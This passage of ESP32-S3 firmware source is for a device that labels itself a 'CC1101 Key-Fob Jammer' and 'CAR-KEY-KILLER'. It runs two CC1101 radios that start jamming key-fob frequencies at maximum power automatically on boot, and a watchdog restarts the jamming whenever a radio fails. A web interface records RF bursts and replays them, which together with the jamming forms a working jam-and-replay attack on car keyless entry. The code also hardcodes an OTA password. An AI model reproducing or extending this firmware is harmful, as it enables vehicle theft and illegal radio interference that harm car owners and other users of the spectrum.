min(start + bpp, nbits); for (uint32_t b = start; b < end; b++) { ones += (capBuf[b >> 3] >> (b & 7)) & 1u; } pos += snprintf(waveBuf + pos, sizeof(waveBuf) - pos, "%lu%s", (unsigned long)(bpp > 0 ? ones * 100 / bpp : 0), (p < N - 1) ? "," : ""); } waveBuf[pos++] = ']'; waveBuf[pos] = '\0'; server.send(200, "application/json", waveBuf); } static void handleNotFound() { const String uri = server.uri(); logLine("[HTTP] 404 " + uri); server.send(404, "text/plain", "404: Not found"); } static void handleSelfTest() { noInterrupts(); const CapMode cm = capMode; interrupts(); if (cm == CapMode::RECORDING || cm == CapMode::REPLAYING) { server.send(409, "application/json; charset=utf-8", "{\"ok\":false,\"err\":\"capture_active\"}"); return; } runManualSelfTest(); const bool all = lastSelftestR1Pass && lastSelftestR2Pass; String j = String("{\"ok\":true,\"r1_pass\":") + (lastSelftestR1Pass ? "true" : "false") + ",\"r2_pass\":" + (lastSelftestR2Pass ? "true" : "false") + ",\"all_pass\":" + (all ? "true" : "false") + ",\"ms\":" + String(lastSelftestDurationMs) + "}"; server.send(200, "application/json; charset=utf-8", j); } void setup() { // Shorter delay for Serial to initialize on ESP32-S3 in production Serial.begin(115200); // OLED init — SW_I2C bit-bangs GPIO17/18 directly; no Wire needed. // begin() always returns true for SW_I2C so just call it and force oledOk. u8g2.begin(); u8g2.setContrast(255); // max brightness — some panels boot dim oledOk = true; Serial.println("[OLED] SW_I2C init done (GPIO17=SDA GPIO18=SCL)"); u8g2.clearBuffer(); u8g2.setFont(u8g2_font_7x13_tf); u8g2.drawStr(18, 22, "CC1101"); u8g2.drawStr(12, 38, "JAMMER"); u8g2.setFont(u8g2_font_5x7_tf); u8g2.drawStr(14, 54, "ESP32-S3 BOOTING..."); u8g2.sendBuffer(); // Wait for Serial to be ready (timeout after 500ms for production) unsigned long start = millis(); while (!Serial && (millis() - start) < 500) { delay(10); } // Immediate debug output to verify boot Serial.println("=== CAR-KEY-KILLER BOOT START ==="); Serial.flush(); uptimeStart = millis(); // Load preferences (TX power always max; no PA gain; no sweep) preferences.begin("jammer4", false); autoStartJam = true; preferences.putBool("autoStartJam", true); jamPowerIdx = DEFAULT_JAM_POWER_IDX; jamPower = kPowerTable[jamPowerIdx]; preferences.putInt("jamPowerIdx", (int)jamPowerIdx); capHistoryLoad(); jamMode = jamModeFromU8(preferences.getUChar("jamMode", 0)); logLine("[NVS] jam at boot: always ON | jamPower=" + String(jamPower) + " dBm | jam_mode=" + String(jamModeToCstr(jamMode))); logLine("[BOOT] CC1101 Key-Fob Jammer starting"); logLine("[BOOT] ESP32-S3 DevKitC-1"); Serial.flush(); // Rotary encoder — interrupt on CLK falling edge pinMode(ENC_CLK_PIN, INPUT_PULLUP); pinMode(ENC_DT_PIN, INPUT_PULLUP); encLastClk = digitalRead(ENC_CLK_PIN); attachInterrupt(digitalPinToInterrupt(ENC_CLK_PIN), encISR, CHANGE); logLine("[ENC] Rotary encoder ready GPIO14=CLK GPIO21=DT"); oledBootMsg("SPI init..."); // Initialize SPI (required for CC1101 communication) Serial.println("[SPI] Initializing SPI bus..."); Serial.flush(); // Drive CS pins HIGH before SPI init to prevent bus collisions pinMode(CC1101_1_CS, OUTPUT); digitalWrite(CC1101_1_CS, HIGH); pinMode(CC1101_2_CS, OUTPUT); digitalWrite(CC1101_2_CS, HIGH); delay(10); // Initialize the FSPI bus on the explicit ESP32-S3 pins spi.begin(SPI_SCK_PIN, SPI_MISO_PIN, SPI_MOSI_PIN, -1); // Pull MISO high to prevent floating bus reads from returning garbage pinMode(SPI_MISO_PIN, INPUT_PULLUP); logLine("[SPI] SPI bus initialized on SCK=" + String(SPI_SCK_PIN) + " MISO=" + String(SPI_MISO_PIN) + " MOSI=" + String(SPI_MOSI_PIN) + " speed=" + String(SPI_SPEED_HZ)); delay(150); // Allow CC1101 VCC to stabilize oledBootMsg("Boot self-test..."); runBootSelfTest(); oledBootMsg("WiFi AP start..."); // Start WiFi AP Serial.println("[DEBUG] Starting WiFi AP..."); Serial.flush(); WiFi.persistent(false); WiFi.setSleep(false); WiFi.mode(WIFI_MODE_AP); WiFi.softAPdisconnect(true); delay(100); WiFi.softAPConfig(IPAddress(192, 168, 4, 1), IPAddress(192, 168, 4, 1), IPAddress(255, 255, 255, 0)); bool apOk = false; for (int attempt = 1; attempt <= 5 && !apOk; ++attempt) { if (strlen(WIFI_AP_PASS) == 0) { apOk = WiFi.softAP(WIFI_AP_SSID, nullptr, 1, 0, 4); } else { apOk = WiFi.softAP(WIFI_AP_SSID, WIFI_AP_PASS, 1, 0, 4); } Serial.println("[DEBUG] WiFi.softAP attempt " + String(attempt) + ": " + (apOk ? "OK" : "FAILED")); Serial.flush(); if (!apOk) { delay(300); } } Serial.println(String("[DEBUG] WiFi.softAP result: ") + (apOk ? "OK" : "FAILED")); Serial.flush(); if (!apOk) { logLine("[WIFI] softAP failed"); Serial.println("[ERROR] WiFi softAP failed"); Serial.flush(); } delay(250); IPAddress ip = WiFi.softAPIP(); logLine("[WIFI] AP started: " + String(WIFI_AP_SSID) + " IP: " + ip.toString()); Serial.println("[WIFI] AP SSID: " + String(WIFI_AP_SSID)); Serial.println("[WIFI] AP IP: " + ip.toString()); Serial.flush(); if (apOk) { espNowInit(); } else { logLine("[ESPNOW] skipped (AP not up — need WiFi channel for ESP-NOW)"); } if (MDNS.begin("killer")) { MDNS.addService("http", "tcp", WEB_PORT); Serial.println("[MDNS] Started: http://killer.local"); } else { Serial.println("[MDNS] Failed"); } Serial.flush(); // Setup web server routes server.on("/", handleRoot); server.on("/api/log", handleLog); server.on("/api/telemetry", handleTelemetry); server.on("/api/health", handleHealth); server.on("/api/toggle", HTTP_POST, handleToggle); server.on("/api/auto_start_jam", HTTP_POST, handleAutoStartJam); server.on("/api/capture/start", handleCaptureStart); server.on("/api/capture/stop", handleCaptureStop); server.on("/api/capture/replay", handleCaptureReplay); server.on("/api/capture/status", handleCaptureStatus); server.on("/api/capture/wave", handleCaptureWave); server.on("/api/capture/history", HTTP_GET, handleCaptureHistory); server.on("/api/selftest", HTTP_POST, handleSelfTest); server.on("/api/jam_mode", HTTP_POST, handleJamMode); server.on("/api/cc1101/registers", handleCc1101RegsRoute); server.onNotFound(handleNotFound); server.begin(); // OTA firmware updates over WiFi (connect to 'killer' AP, upload via PlatformIO OTA) ArduinoOTA.setHostname("killer"); ArduinoOTA.setPassword("killerpw"); ArduinoOTA.onStart([]() { logLine("[OTA] Update starting..."); }); ArduinoOTA.onEnd([]() { logLine("[OTA] Update complete, rebooting"); }); ArduinoOTA.onError([](ota_error_t e) { logLine("[OTA] Error: " + String(e)); }); ArduinoOTA.begin(); logLine("[OTA] Ready — hostname: killer, port: 3232"); logLine("[HTTP] Server started on port " + String(WEB_PORT)); Serial.println("[HTTP] Server started on port " + String(WEB_PORT)); Serial.flush(); jammingEnabled = true; oledBootMsg("Radio init..."); startJamming(); if (radio1Status == 2 || radio2Status == 2) { oledBootMsg("JAMMING - ACTIVE!"); } else { oledBootMsg("RADIO INIT FAILED"); } logLine("[JAM] Boot policy: jam ON after init (Stop Jamming in UI for capture)"); delay(800); // hold boot result on display briefly before switching to live pages } void loop() { espNowTick(); ArduinoOTA.handle(); server.handleClient(); jamFloodTick(); oledTick(); yield(); const uint32_t now = millis(); // Capture state machine — runs in main loop (ISR sets flags, loop acts on them) // Signal-present detection: fire OLED "SIGNAL!" once per session when // the ISR has seen enough stable bits to indicate a real RF burst. // capLongRuns > 10 filters out thermal noise which transitions almost constantly. uint32_t currentLongRuns; noInterrupts(); currentLongRuns = capLongRuns; interrupts(); noInterrupts(); const CapMode capLoopMode = capMode; interrupts(); if (capLoopMode == CapMode::RECORDING && !capSigNotified && currentLongRuns > 10) { capSigNotified = true; uint32_t currentIdx; noInterrupts(); currentIdx = capIdx; interrupts(); oledNotify("SIGNAL!", "CAUGHT -- PRESS STOP", 3000); logLine("[CAP] Signal detected: " + String(currentLongRuns) + " valid symbols @ bit " + String(currentIdx)); } bool capFull = false; noInterrupts(); if (capLoopMode == CapMode::RECORDING) capFull = capBufFull; interrupts(); if (capLoopMode == CapMode::RECORDING && capFull) { capTimerStop(); noInterrupts(); capRecBits = capIdx; capBufFull = false; capMode = CapMode::RECORDED; interrupts(); gpio_set_direction(capGdoPin, GPIO_MODE_OUTPUT); gpio_set_level(capGdoPin, 0); logLine("[CAP] Buffer full: " + String(capRecBits) + " bits (" + String(capRecBits * 1000 / CAP_SAMPLE_HZ) + " ms) captured"); oledNotify("CAPTURED", (String(capRecBits * 1000 / CAP_SAMPLE_HZ) + "ms").c_str()); if (capRecBits >= 100) { capHistoryAppend(capRecBits, capFreq, capRadioNum, capIsOOK); } if (capPrevJamming) { capPrevJamming = false; jammingEnabled = true; startJamming(); } } // Auto-reinit watchdog: if jamming should be active but a radio failed, retry every 30s if (jammingEnabled && now - lastReInitCheck >= 30000) { lastReInitCheck = now; bool needReinit = (radio1Status != 2 || radio2Status != 2); if (needReinit) { logLine("[WDT] Radio failure detected, attempting reinit..."); oledNotify("RADIO REINIT", "R1 + R2..."); startJamming(); } } static uint32_t lastHeartbeat = 0; if (now - lastHeartbeat >= 5000) { lastHeartbeat = now; const uint32_t freeHeap = ESP.getFreeHeap(); if (freeHeap < minFreeHeap) minFreeHeap = freeHeap; // Low-heap protection: heap below 15 KB risks crash — reboot cleanly if (freeHeap < 15360) { logLine("[CRIT] Heap critical: " + String(freeHeap) + "B — rebooting"); delay(500); ESP.restart(); } // Temperature alarm: log once per minute if over threshold const float tempC = temperatureRead(); if (tempC > 75.0f && now - lastTempWarnMs > 60000) { lastTempWarnMs = now; logLine("[WARN] High temp: " + String(tempC, 1) + "°C"); } Serial.println("[HEARTBEAT] up=" + String(now - uptimeStart) + "ms heap=" + String(freeHeap) + " minHeap=" + String(minFreeHeap) + " temp=" + String(tempC, 1) + "°C" + " hops=" + String(hopCount1) + "/" + String(hopCount2)); Serial.flush(); } // Handle serial input for debugging if (Serial.available()) { String cmd = Serial.readStringUntil('\n'); cmd.trim(); if (cmd == "start") { jammingEnabled = true; startJamming(); } else if (cmd == "stop") { stopJamming(); } else if (cmd == "status") { Serial.println("Jamming: " + String(jammingEnabled ? "ON" : "OFF")); Serial.println("Boot auto-jam: " + String(autoStartJam ? "ON" : "OFF")); Serial.println("Power: " + String(jamPower) + " dBm (fixed max)"); Serial.println("R1 hw_ok=" + String(radio1Status != -1) + " st=" + String((int)radio1Status)); Serial.println("R2 hw_ok=" + String(radio2Status != -1) + " st=" + String((int)radio2Status)); } } }